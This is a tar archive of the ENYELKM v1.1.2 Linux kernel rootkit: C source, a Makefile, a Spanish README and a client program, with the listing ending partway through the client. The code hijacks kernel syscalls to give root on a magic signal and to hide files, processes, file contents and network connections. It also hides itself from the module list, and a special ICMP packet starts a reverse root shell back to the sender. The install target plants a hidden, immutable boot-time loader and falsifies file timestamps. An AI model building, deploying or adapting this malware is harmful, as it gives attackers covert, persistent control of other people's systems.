enyelkm-1.1.2/ 0000755 0000770 0000770 00000000000 10542045641 010102 5 ustar enyelkm-1.1.2/Makefile 0000644 0000770 0000770 00000003766 10542045605 011556 0 ustar obj-m += enyelkm.o
enyelkm-objs := base.o kill.o ls.o read.o remoto.o idt.o
DELKOS = base.ko kill.ko ls.ko read.ko remoto.ko idt.ko
S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8`
D_FORK = 0x`grep do_fork /proc/kallsyms | head -c 8`
VERSION = v1.1.2
CC = gcc
CFLAGS += -fomit-frame-pointer
all:
@echo
@echo "-----------------------------------------"
@echo " ENYELKM $(VERSION) by RaiSe"
@echo " raise@enye-sec.org | www.enye-sec.org"
@echo "-----------------------------------------"
@echo
@echo "#define DSYSENTER $(S_ENT)" > data.h
@echo "#define DOFORK $(D_FORK)" >> data.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules
$(CC) conectar.c -o conectar -Wall
@rm -f $(DELKOS)
conectar:
@echo
@echo "-----------------------------------------"
@echo " ENYELKM $(VERSION) by RaiSe"
@echo " raise@enye-sec.org | www.enye-sec.org"
@echo "-----------------------------------------"
@echo
$(CC) conectar.c -o conectar -Wall
@echo
install:
@echo
@echo "-----------------------------------------"
@echo " ENYELKM $(VERSION) by RaiSe"
@echo " raise@enye-sec.org | www.enye-sec.org"
@echo "-----------------------------------------"
@echo
@cp -f enyelkm.ko /etc/.enyelkmOCULTAR.ko
@chattr +i /etc/.enyelkmOCULTAR.ko > /dev/null 2> /dev/null
@echo -e "#\ninsmod /etc/.enyelkmOCULTAR.ko" \
\ " > /dev/null 2> /dev/null\n#" \
\ >> /etc/rc.d/rc.sysinit
@touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2> /dev/null
@insmod /etc/.enyelkmOCULTAR.ko
@echo + enyelkm.ko copiado a /etc/.enyelkmOCULTAR.ko
@echo + instalada cadena de autocarga en /etc/rc.d/rc.sysinit oculta
@echo + enyelkm cargado !
@echo
clean:
@echo
@echo "-----------------------------------------"
@echo " ENYELKM $(VERSION) by RaiSe"
@echo " raise@enye-sec.org | www.enye-sec.org"
@echo "-----------------------------------------"
@echo
@rm -rf *.o *.ko *.mod.c .*.cmd data.h conectar .tmp_versions
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean
enyelkm-1.1.2/kill.c 0000644 0000770 0000770 00000002123 10373542204 011176 0 ustar /*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raise@enye-sec.org
* http://www.enye-sec.org >
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "config.h"
#define SIG 58
#define PID 12345
/* declaraciones externas */
extern asmlinkage int (*orig_kill)(pid_t pid, int sig);
asmlinkage int hacked_kill(pid_t pid, int sig)
{
struct task_struct *ptr = current;
int tsig = SIG, tpid = PID, ret_tmp;
if ((tpid == pid) && (tsig == sig))
{
ptr->uid = 0;
ptr->euid = 0;
ptr->gid = 0;
ptr->egid = 0;
return(0);
}
else
{
ret_tmp = (*orig_kill)(pid, sig);
return(ret_tmp);
}
return(-1);
} /********** fin hacked_kill ************/
// EOF
enyelkm-1.1.2/ls.c 0000644 0000770 0000770 00000004634 10373542111 010667 0 ustar /*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raise@enye-sec.org
* http://www.enye-sec.org >
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "config.h"
/* declaraciones externas */
extern asmlinkage long (*orig_getdents64)
(unsigned int fd, struct dirent64 *dirp, unsigned int count);
asmlinkage long hacked_getdents64
(unsigned int fd, struct dirent64 *dirp, unsigned int count)
{
struct dirent64 *td1, *td2;
long ret, tmp;
unsigned long hpid;
short int mover_puntero, ocultar_proceso;
/* llamamos a la syscall original */
ret = (*orig_getdents64) (fd, dirp, count);
/* si vale cero retornamos */
if (!ret)
return(ret);
/* copiamos la lista al kernel space */
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
__copy_from_user(td2, dirp, ret);
/* inicializamos punteros y contadores */
td1 = td2, tmp = ret;
while (tmp > 0)
{
tmp -= td1->d_reclen;
mover_puntero = 1;
ocultar_proceso = 0;
hpid = 0;
hpid = simple_strtoul(td1->d_name, NULL, 10);
/* ocultacion de procesos */
if (hpid != 0)
{
struct task_struct *htask = current;
/* buscamos el pid */
do {
if(htask->pid == hpid)
break;
else
htask = next_task(htask);
} while (htask != current);
/* lo ocultamos */
if (((htask->pid == hpid) && (htask->gid == SGID)) ||
((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL)))
ocultar_proceso = 1;
}
/* ocultacion de ficheros/directorios */
if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL))
{
/* una entrada menos */
ret -= td1->d_reclen;
/* no moveremos el puntero al siguiente */
mover_puntero = 0;
if (tmp)
/* no es el ultimo */
memmove(td1, (char *) td1 + td1->d_reclen, tmp);
}
if ((tmp) && (mover_puntero))
td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);
} /* fin while */
/* copiamos la lista al user space again */
__copy_to_user((void *) dirp, (void *) td2, ret);
kfree(td2);
return(ret);
} /********** fin hacked_getdents[64] *********/
/* EOF */
enyelkm-1.1.2/config.h 0000644 0000770 0000770 00000000544 10373541545 011531 0 ustar /*
* Fichero de configuracion
*/
/* modo debug */
#define DEBUG 0
/* clave del icmp */
#define ICMP_CLAVE "ENYELKMICMPKEY"
/* clave para ocultar ficheros, directorios y procesos */
#define SHIDE "OCULTAR"
/* gid magico, todos los procesos con esta gid se ocultan */
#define SGID 0x489196ab
/* directorio home de la shell remota */
#define HOME "/"
enyelkm-1.1.2/base.c 0000644 0000770 0000770 00000011654 10542041421 011157 0 ustar /*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raise@enye-sec.org
* http://www.enye-sec.org >
*/
#include "base.h"
unsigned long dire_exit, after_call;
unsigned long dire_call, p_hacked_kill, global_ip;
unsigned long p_hacked_getdents64, p_hacked_read;
short read_activo, lanzar_shell;
void *sysenter_entry;
void **sys_call_table;
struct packet_type my_pkt;
unsigned short global_port;
int errno;
/* punteros a syscalls originales */
asmlinkage int (*orig_kill)(pid_t pid, int sig);
asmlinkage long (*orig_getdents64)
(unsigned int fd, struct dirent64 *dirp, unsigned int count);
/* prototipos funciones */
void *get_system_call(void);
void *get_sys_call_table(void *system_call);
void set_idt_handler(void *system_call);
void set_sysenter_handler(void *sysenter);
#define ORIG_EXIT 19
#define DIRECALL 42
#define SALTO 5
#define SKILL 49
#define SGETDENTS64 57
#define SREAD 65
#define DAFTER_CALL 70
#define DNRSYSCALLS 10
/* handler */
char idt_handler[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x90\x90\x00\x00\x73\x02"
"\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x12\x3d\xdc\x00"
"\x00\x00\x74\x13\x83\xf8\x03\x74\x16\x68\x90\x90\x90\x90\xc3\xff"
"\x15\x90\x90\x90\x90\xeb\x0e\xff\x15\x90\x90\x90\x90\xeb\x06\xff"
"\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3";
int init_module(void)
{
void *s_call;
struct module *m = &__this_module;
/* borramos nuestro modulo de la lista */
if (m->init == init_module)
list_del(&m->list);
sysenter_entry = (void *) DSYSENTER;
/* NR_syscalls limite */
*((short int *) &idt_handler[DNRSYSCALLS]) = (short int) NR_syscalls;
/* variables intermedias a las syscalls hackeadas */
p_hacked_kill = (unsigned long) hacked_kill;
p_hacked_getdents64 = (unsigned long) hacked_getdents64;
p_hacked_read = (unsigned long) hacked_read;
/* variables de control */
lanzar_shell = read_activo = 0;
global_ip = 0xffffffff;
/* averiguar sys_call_table */
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
/* punteros a syscalls originales */
orig_kill = sys_call_table[__NR_kill];
orig_getdents64 = sys_call_table[__NR_getdents64];
/* modificar los handlers */
set_idt_handler(s_call);
set_sysenter_handler(sysenter_entry);
/* insertamos el nuevo filtro */
my_pkt.type=htons(ETH_P_ALL);
my_pkt.func=capturar;
dev_add_pack(&my_pkt);
#if DEBUG == 1
printk("enyelkm instalado!\n");
#endif
return(0);
} /*********** fin init_module ***********/
void cleanup_module(void)
{
/* dejar terminar procesos que estan 'leyendo' */
while (read_activo != 0)
schedule();
#if DEBUG == 1
printk("enyelkm desinstalado!\n");
#endif
} /*********** fin cleanup_module ************/
void *get_system_call(void)
{
unsigned char idtr[6];
unsigned long base;
struct idt_descriptor desc;
asm ("sidt %0" : "=m" (idtr));
base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));
return((void *) ((desc.off_high << 16) + desc.off_low));
} /*********** fin get_sys_call_table() ***********/
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
p = (unsigned char *) system_call;
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
p++;
dire_call = (unsigned long) p;
p += 3;
s_c_t = *((unsigned long *) p);
p += 4;
after_call = (unsigned long) p;
/* cli */
while (*p != 0xfa)
p++;
dire_exit = (unsigned long) p;
return((void *) s_c_t);
} /********** fin get_sys_call_table() *************/
void set_idt_handler(void *system_call)
{
unsigned char *p;
unsigned long *p2;
p = (unsigned char *) system_call;
/* primer salto */
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
p++;
p -= 5;
*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) new_idt;
p = (unsigned char *) p2;
*p = 0xc3;
/* syscall_trace_entry salto */
while (!((*p == 0x0f) && (*(p+1) == 0x82)))
p++;
p -= 5;
*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) new_idt;
p = (unsigned char *) p2;
*p = 0xc3;
p = idt_handler;
*((unsigned long *)((void *) p+ORIG_EXIT)) = dire_exit;
*((unsigned long *)((void *) p+DIRECALL)) = dire_call;
*((unsigned long *)((void *) p+SKILL)) = (unsigned long) &p_hacked_kill;
*((unsigned long *)((void *) p+SGETDENTS64)) = (unsigned long) &p_hacked_getdents64;
*((unsigned long *)((void *) p+SREAD)) = (unsigned long) &p_hacked_read;
*((unsigned long *)((void *) p+DAFTER_CALL)) = after_call;
} /********** fin set_idt_handler() ***********/
void set_sysenter_handler(void *sysenter)
{
unsigned char *p;
unsigned long *p2;
p = (unsigned char *) sysenter;
/* buscamos call */
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
p++;
/* buscamos el jae syscall_badsys */
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
p--;
p -= 5;
/* metemos el salto */
*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) new_idt;
p = (unsigned char *) p2;
*p = 0xc3;
} /************* fin set_sysenter_handler **********/
/* Licencia GPL */
MODULE_LICENSE("GPL");
/* EOF */
enyelkm-1.1.2/kill.h 0000644 0000770 0000770 00000000114 10373542170 011203 0 ustar /* funciones de kill.c */
asmlinkage int hacked_kill(pid_t pid, int sig);
enyelkm-1.1.2/ls.h 0000644 0000770 0000770 00000000177 10373542075 010703 0 ustar /* funciones de ls.c */
asmlinkage long hacked_getdents64
(unsigned int fd, struct dirent64 *dirp, unsigned int count);
enyelkm-1.1.2/read.c 0000644 0000770 0000770 00000014345 10374267771 011205 0 ustar /*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raise@enye-sec.org
* http://www.enye-sec.org >
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "remoto.h"
#include "config.h"
#include "data.h"
#define SSIZE_MAX 32767
/* define marcas */
#define MOPEN "#"
#define MCLOSE "#"
/* declaraciones externas */
extern short lanzar_shell;
extern short read_activo;
extern unsigned long global_ip;
extern unsigned short global_port;
/* do_fork */
long (*my_do_fork)(unsigned long clone_flags,
unsigned long stack_start,
struct pt_regs *regs,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr) = (void *) DOFORK;
struct file *e_fget_light(unsigned int fd, int *fput_needed)
{
struct file *file;
struct files_struct *files = current->files;
*fput_needed = 0;
if (likely((atomic_read(&files->count) == 1))) {
file = fcheck(fd);
} else {
spin_lock(&files->file_lock);
file = fcheck(fd);
if (file) {
get_file(file);
*fput_needed = 1;
}
spin_unlock(&files->file_lock);
}
return file;
} /*********** fin get_light **********/
int checkear(void *arg, int size, struct file *fichero)
{
char *buf;
/* si SSIZE_MAX <= size <= 0 retornamos -1 */
if ((size <= 0) || (size >= SSIZE_MAX))
return(-1);
/* reservamos memoria para el buffer y copiamos */
buf = (char *) kmalloc(size+1, GFP_KERNEL);
__copy_from_user((void *) buf, (void *) arg, size);
buf[size] = 0;
/* chequeamos las marcas */
if ((strstr(buf, MOPEN) != NULL) && (strstr(buf, MCLOSE) != NULL))
{
/* se encontraron las dos, devolvemos 1 */
kfree(buf);
return(1);
}
/* chequeamos /proc/net/tcp */
if ((fichero != NULL) && (fichero->f_dentry != NULL) &&
(fichero->f_dentry->d_parent != NULL) &&
(fichero->f_dentry->d_parent->d_parent != NULL))
{
/* todo correcto ? */
if((fichero->f_dentry->d_iname == NULL) ||
(fichero->f_dentry->d_parent->d_iname == NULL) ||
(fichero->f_dentry->d_parent->d_parent->d_inode == NULL))
{
kfree(buf);
return(-1);
}
/* /proc/net/tcp ? */
if(!strcmp(fichero->f_dentry->d_iname, "tcp") &&
!strcmp(fichero->f_dentry->d_parent->d_iname, "net") &&
(fichero->f_dentry->d_parent->d_parent->d_inode->i_ino == 1))
{
/* devolvemos 2 para ocultar conexiones */
kfree(buf);
return(2);
}
}
/* liberamos y retornamos -1 para q no haga nada */
kfree(buf);
return(-1);
} /********** fin de checkear() *************/
int hide_marcas(void *arg, int size)
{
char *buf, *p1, *p2;
int i, newret;
/* reservamos y copiamos */
buf = (char *) kmalloc(size, GFP_KERNEL);
__copy_from_user((void *) buf, (void *) arg, size);
p1 = strstr(buf, MOPEN);
p2 = strstr(buf, MCLOSE);
p2 += strlen(MCLOSE);
i = size - (p2 - buf);
memmove((void *) p1, (void *) p2, i);
newret = size - (p2 - p1);
/* copiamos al user space, liberamos y retornamos */
__copy_to_user((void *) arg, (void *) buf, newret);
kfree(buf);
return(newret);
} /********** fin de hide_marcas **********/
int ocultar_linea(char *linea)
{
char hide[128];
sprintf(hide, "%08X:", (unsigned int) global_ip);
if (strstr(linea, hide) != NULL)
/* ocultamos todos los sockets con nuestra ip */
return(1);
/* no ocultamos nada */
return(0);
} /******** fin de ocultar_linea *********/
int copiar_linea(char *dst, char *from, int index)
{
char *p, *p2, tmp;
int i = 0;
p = from;
/* colocamos p en el principio de la linea */
while (i != index)
{
while (*p++ != 0x0a);
/* nos pasamos */
if (p >= from+strlen(from))
return(0);
i++;
}
p2 = p;
/* p2 al final de la linea y ponemos un null temporal */
while (*p2++ != 0x0a)
{
/* por si no tiene fin de linea */
if(p2 >= from+strlen(from))
break;
}
tmp = *p2;
*p2 = 0x00;
/* copiamos y restauramos el char */
strcpy(dst, p);
*p2 = tmp;
return(1);
} /*********** fin copiar_linea ***********/
int ocultar_netstat(char *arg, int size)
{
char linea[256], *buf, *dst;
int cont = 0, ret;
/* no deberia ocurrir nunca */
if (size == 0)
return(size);
/* reservamos y copiamos */
buf = (char *) kmalloc(size+1, GFP_KERNEL);
__copy_from_user((void *) buf, (void *) arg, size);
buf[size] = 0x00;
/* reservamos buffer destino temporal */
dst = (char *) kmalloc(size+16, GFP_KERNEL);
dst[0] = 0x00;
while (copiar_linea(linea, buf, cont++))
if (!ocultar_linea(linea))
strcat(dst, linea);
/* nuevo size posible */
ret = strlen(dst);
/* copiamos al user space, liberamos y retornamos */
__copy_to_user((void *) arg, (void *) dst, ret);
kfree(buf);
kfree(dst);
return(ret);
} /************ fin ocultar_netstat ************/
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes)
{
struct pt_regs regs;
struct file *fichero;
int fput_needed;
ssize_t ret;
/* se hace 1 copia del proceso y se lanza la shell */
if (lanzar_shell == 1)
{
memset(®s, 0, sizeof(regs));
regs.xds = __USER_DS;
regs.xes = __USER_DS;
regs.orig_eax = -1;
regs.xcs = __KERNEL_CS;
regs.eflags = 0x286;
regs.eip = (unsigned long) reverse_shell;
lanzar_shell = 0;
(*my_do_fork)(0, 0, ®s, 0, NULL, NULL);
}
/* seteamos read_activo a uno */
read_activo = 1;
/* error de descriptor no valido o no abierto para lectura */
ret = -EBADF;
fichero = e_fget_light(fd, &fput_needed);
if (fichero)
{
ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos);
/* aqui es donde analizamos el contenido y ejecutamos la
funcion correspondiente */
switch(checkear(buf, ret, fichero))
{
case 1:
/* marcas */
ret = hide_marcas(buf, ret);
break;
case 2:
/* ocultar conexion */
ret = ocultar_netstat(buf, ret);
break;
case -1:
/* no hacer nada */
break;
}
fput_light(fichero, fput_needed);
}
/* seteamos read_activo a cero */
read_activo = 0;
return ret;
} /********** fin hacked_read **********/
// EOF
enyelkm-1.1.2/read.h 0000644 0000770 0000770 00000000445 10373542130 011166 0 ustar /* funciones de read.c */
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes);
int checkear(void *arg, int size);
int hide_marcas(void *arg, int size);
int ocultar_linea(char *linea);
int ocultar_netstat(char *arg, int size);
int copiar_linea(char *dst, char *from, int index);
enyelkm-1.1.2/LEEME.txt 0000644 0000770 0000770 00000007440 10374274022 011477 0 ustar -----------------------------------
ENYELKM v1.1 | by RaiSe
Linux Rootkit x86 kernel v2.6.x
< raise@enye-sec.org >
< http://www.enye-sec.org >
-----------------------------------
Testeado en kernels: + v2.6.3 + v2.6.14.3 + v2.6.11-1.1369_FC4
Para compilar:
# make
Para instalar:
# make install
Para compilar solo 'conectar':
# make conectar
* Lo que hace make install:
- Copia el fichero enyelkm.ko a /etc/.enyelkmOCULTAR.ko, de forma
que una vez cargado el modulo el fichero permanecera oculto.
- Añade la cadena insmod /etc/.enyelkmOCULTAR.ko entre las marcas
# y # al fichero /etc/rc.d/rc.sysinit,
de forma que una vez cargado el modulo esas lineas permaneceran
ocultas.
- Carga el modulo mediante insmod /etc/.enyelkmOCULTAR.ko.
- Intenta sobreescribir la fecha de archivo modificado de
/etc/rc.d/rc.sysinit con la de /etc/rc.d/rc, y ponerle el
atributo +i a /etc/.enyelkmOCULTAR.ko con touch y chattr
respectivamente.
* Ocultar ficheros, directorios y procesos:
Se ocultan los ficheros, directorios y procesos que contengan
la subcadena 'OCULTAR' en su nombre. En el caso de los procesos
tambien se ocultan los que tengan gid = 0x489196ab. La shell
remota (ver acceso remoto mas abajo) corre con ese gid, por lo
que la shell y todos los procesos que se lancen desde ella
permaneceran ocultos.
* Ocultar partes de un fichero:
Se oculta en un fichero todo lo que este entre las marcas:
(marcas incluidas)
#
texto a ocultar
#
* Consiguiendo root local:
Haciendo: # kill -s 58 12345
se consigue id 0.
* Ocultacion del modulo a 'lsmod':
El modulo se auto_oculta al cargarlo.
* Ocultacion del modulo a '/sys/module':
Para que no aparezca el modulo en ese directorio basta con renombrar
el LKM para que lleve la cadena OCULTAR en su nombre antes de cargarlo;
como hace 'make install' por ejemplo.
* Acceso remoto:
Usar el programa 'conectar', que va incluido en el tgz. Se compila con
el make del LKM. Ejecutar de la forma: './conectar ip_maquina_con_lkm'.
El programa enviara un ICMP especial, y abrira un puerto a la escucha
en la que recibira la reverse shell. Para salir de la shell: control+c.
* Ocultacion de la conexion de la reverse shell al netstat:
Se auto_ocultan todas las conexiones a la ip que envio el ICMP con el
programa conectar.
* Desinstalacion del modulo:
El modulo no puede descargarse mediante 'rmmod' ya que permanece
oculto. Y aunque estuviera visible no se podria ya que el sistema
dejaria de funcionar. La unica forma es reiniciando el sistema. En caso
de haber hecho 'make install', una forma de quitar la cadena oculta
de /etc/rc.d/rc.sysinit es editando ese fichero y guardandolo sin
modificar nada, de esa forma se guardara sin la cadena ya que el
editor no la 've'. Luego reiniciar. Una forma sencilla de mirar si
el LKM esta cargado es haciendo un 'kill -s 58 12345' y mirando si
da root.
[ -- ]
--> En la version 1.2:
Para la version 1.2 voy a ver si mejoro el sistema de ocultar la conexion
cuando se usa el acceso remoto. Ahora mismo lo hace a traves de sys_read y
el fichero /proc/net/tcp. Como netstat hace 'reads' de 300 en 300 bytes, hay
una pequeña posibilidad de que si en medio de un read y el siguiente esta el
socket con nuestra conexion oculta, el netstat muestre una linea que ponga:
'bogus line'. Nuestra ip nunca se mostrara, y aunque normalmente nunca vaya
a ocurrir eso, a ver si para la v1.2 se ocultan las conexiones de otra forma.
De paso tambien a ver si evito usar /proc/kallsyms para conseguir do_fork y
sysenter_entry.
Tambien intentare adaptarlo para que compile y funcione en kernels 2.4.x.
-> Agradecimientos:
Gracias a kenshin por darme algunas ideas, y ayudarme a mejorarlo y a
testearlo ;).
EOF
enyelkm-1.1.2/remoto.h 0000644 0000770 0000770 00000000356 10374251545 011571 0 ustar /* funciones de remoto.c */
int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt,
struct net_device *dev2);
int reverse_shell(void *ip);
void ejecutar_shell(void);
int get_pty(void);
void eco_off(void);
enyelkm-1.1.2/remoto.c 0000644 0000770 0000770 00000014105 10374270724 011561 0 ustar /*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raise@enye-sec.org
* http://www.enye-sec.org >
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "config.h"
#include "remoto.h"
#define __NR_e_exit __NR_exit
/* variables globales */
static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };
extern short lanzar_shell;
extern int errno;
extern unsigned long global_ip;
extern unsigned short global_port;
int ptmx, epty;
/* variables de entorno */
char *env[]={
"TERM=linux",
"HOME=" HOME,
"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
":/usr/local/sbin",
"HISTFILE=/dev/null",
NULL };
/* syscalls */
static inline _syscall2(int, kill, pid_t, pid, int, sig);
static inline _syscall1(int, chdir, const char *, path);
static inline _syscall3(int, write, int, fd, const char *, buf, off_t, count);
static inline _syscall3(int, read, int, fd, char *, buf, off_t, count);
static inline _syscall1(int, e_exit, int, exitcode);
static inline _syscall3(int, open, const char *, file, int, flag, int, mode);
static inline _syscall1(int, close, int, fd);
static inline _syscall2(int, dup2, int, oldfd, int, newfd);
static inline _syscall2(int, socketcall, int, call, unsigned long *, args);
static inline _syscall3(int, execve, const char *, filename,
const char **, argv, const char **, envp);
static inline _syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
unsigned long, arg);
static inline _syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
writefds, fd_set *, exceptfds, struct timeval *, timeout);
/* do_fork */
extern long (*my_do_fork)(unsigned long clone_flags,
unsigned long stack_start,
struct pt_regs *regs,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr);
int reverse_shell(void *ip)
{
struct task_struct *ptr = current;
struct sockaddr_in dire;
struct pt_regs regs;
mm_segment_t old_fs;
unsigned long arg[3];
int soc, tmp_pid;
unsigned char tmp;
fd_set s_read;
old_fs = get_fs();
ptr->uid = 0;
ptr->euid = 0;
ptr->gid = SGID;
ptr->egid = 0;
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;
set_fs(KERNEL_DS);
if ((soc = socketcall(SYS_SOCKET, arg)) == -1)
{
set_fs(old_fs);
lanzar_shell = 1;
e_exit(-1);
return(-1);
}
memset((void *) &dire, 0, sizeof(dire));
dire.sin_family = AF_INET;
dire.sin_port = htons((unsigned short) global_port);
dire.sin_addr.s_addr = (unsigned long) global_ip;
arg[0] = soc;
arg[1] = (unsigned long) &dire;
arg[2] = (unsigned long) sizeof(dire);
if (socketcall(SYS_CONNECT, arg) == -1)
{
close(soc);
set_fs(old_fs);
lanzar_shell = 1;
e_exit(-1);
return(-1);
}
/* pillamos tty */
epty = get_pty();
/* ejecutamos shell */
set_fs(old_fs);
memset(®s, 0, sizeof(regs));
regs.xds = __USER_DS;
regs.xes = __USER_DS;
regs.orig_eax = -1;
regs.xcs = __KERNEL_CS;
regs.eflags = 0x286;
regs.eip = (unsigned long) ejecutar_shell;
tmp_pid = (*my_do_fork)(0, 0, ®s, 0, NULL, NULL);
set_fs(KERNEL_DS);
while(1)
{
FD_ZERO(&s_read);
FD_SET(ptmx, &s_read);
FD_SET(soc, &s_read);
_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL);
if (FD_ISSET(ptmx, &s_read))
{
if (read(ptmx, &tmp, 1) == 0)
break;
write(soc, &tmp, 1);
}
if (FD_ISSET(soc, &s_read))
{
if (read(soc, &tmp, 1) == 0)
break;
write(ptmx, &tmp, 1);
}
} /* fin while */
/* matamos el proceso */
kill(tmp_pid, SIGKILL);
/* salimos */
set_fs(old_fs);
e_exit(0);
return(-1);
} /********** fin reverse_shell **********/
int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt,
struct net_device *dev2)
{
unsigned short len;
char buf[256];
int i;
/* debe ser icmp */
if (skb->nh.iph->protocol != 1)
{
kfree_skb(skb);
return(0);
}
/* el icmp debe ser para nosotros */
if (skb->pkt_type != PACKET_HOST)
{
kfree_skb(skb);
return(0);
}
len = (unsigned short) skb->nh.iph->tot_len;
len = htons(len);
/* no es nuestro icmp */
if (len != (28 + strlen(ICMP_CLAVE) + sizeof(unsigned short)))
{
kfree_skb(skb);
return(0);
}
/* copiamos el packete */
memcpy (buf, (void *) skb->nh.iph, len);
/* borramos los null */
for (i=0; i < len; i++)
if (buf[i] == 0)
buf[i] = 1;
buf[len] = 0;
if(strstr(buf,ICMP_CLAVE) != NULL)
{
unsigned short *puerto;
puerto = (unsigned short *)
((void *)(strstr(buf,ICMP_CLAVE) + strlen(ICMP_CLAVE)));
global_port = *puerto;
global_ip = skb->nh.iph->saddr;
lanzar_shell = 1;
}
kfree_skb(skb);
return(0);
} /******** fin capturar() *********/
int get_pty(void)
{
char buf[128];
int npty, lock = 0;
ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU);
/* pillamos pty libre */
ioctl(ptmx, TIOCGPTN, (unsigned long) &npty);
/* bloqueamos */
ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock);
/* abrimos pty */
sprintf(buf, "/dev/pts/%d", npty);
npty = open(buf, O_RDWR, S_IRWXU);
/* devolvemos el descriptor */
return(npty);
} /*************** fin de get_pty() **************/
void eco_off(void)
{
struct termios term;
ioctl(0, TCGETS, (unsigned long) &term);
term.c_lflag = term.c_lflag || CLOCAL;
ioctl(0, TCSETS, (unsigned long) &term);
} /************* fin de eco_off **************/
void ejecutar_shell(void)
{
struct task_struct *ptr = current;
mm_segment_t old_fs;
old_fs = get_fs();
set_fs(KERNEL_DS);
ptr->uid = 0;
ptr->euid = 0;
ptr->gid = SGID;
ptr->egid = 0;
/* dupeamos */
dup2(epty, 0);
dup2(epty, 1);
dup2(epty, 2);
/* quitamos eco */
eco_off();
/* cambiamos a home */
chdir(HOME);
execve(earg[0], (const char **) earg, (const char **) env);
/* salimos en caso de error */
e_exit(-1);
} /************ fin ejecutar_shell ***********/
/* EOF */
enyelkm-1.1.2/conectar.c 0000644 0000770 0000770 00000007361 10374263724 012062 0 ustar /*
* ENYELKM v1.1
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe
* < raise@enye-sec.org
* http://www.enye-sec.org >
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "config.h"
int enviar_icmp(char *ipdestino, unsigned short puerto);
int main(int argc, char *argv[])
{
struct sockaddr_in dire;
unsigned short puerto;
int soc, soc2;
fd_set s_read;
unsigned char tmp;
if(geteuid())
{
printf("\nNecesitas ser root (para usar raw sockets).\n\n");
exit(-1);
}
if (argc < 2)
{
printf("\nPrograma para activar el acceso remoto del enyelkm:\n");
printf("\n%s ip_destino [puerto]\n\n", argv[0]);
exit(-1);
}
if (argc > 2)
puerto = (unsigned short) atoi(argv[2]);
else
puerto = 8822;
if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("error al crear el socket.\n");
exit(-1);
}
bzero((char *) &dire, sizeof(dire));
dire.sin_family = AF_INET;
dire.sin_port = htons(puerto);
dire.sin_addr.s_addr = htonl(INADDR_ANY);
while(bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1)
dire.sin_port = htons(++puerto);
listen(soc, 5);
printf("\n* Lanzando reverse_shell:\n\n");
fflush(stdout);
enviar_icmp(argv[1], puerto);
printf("Esperando shell en puerto %d (puede tardar unos segundos) ...\n", (int) puerto);
fflush(stdout);
soc2 = accept(soc, NULL, 0);
printf("lanzando shell ...\n\n");
printf("id\n");
fflush(stdout);
write(soc2, "id\n", 3);
while(1)
{
FD_ZERO(&s_read);
FD_SET(0, &s_read);
FD_SET(soc2, &s_read);
select((soc2 > 0 ? soc2+1 : 0+1), &s_read, 0, 0, NULL);
if (FD_ISSET(0, &s_read))
{
if (read(0, &tmp, 1) == 0)
break;
write(soc2, &tmp, 1);
}
if (FD_ISSET(soc2, &s_read))
{
if (read(soc2, &tmp, 1) == 0)
break;
write(1, &tmp, 1);
}
} /* fin while(1) */
exit(0);
} /***** fin de main() *****/
int enviar_icmp(char *ipdestino, unsigned short puerto)
{
int soc, n, tot;
long sum;
unsigned short *p;
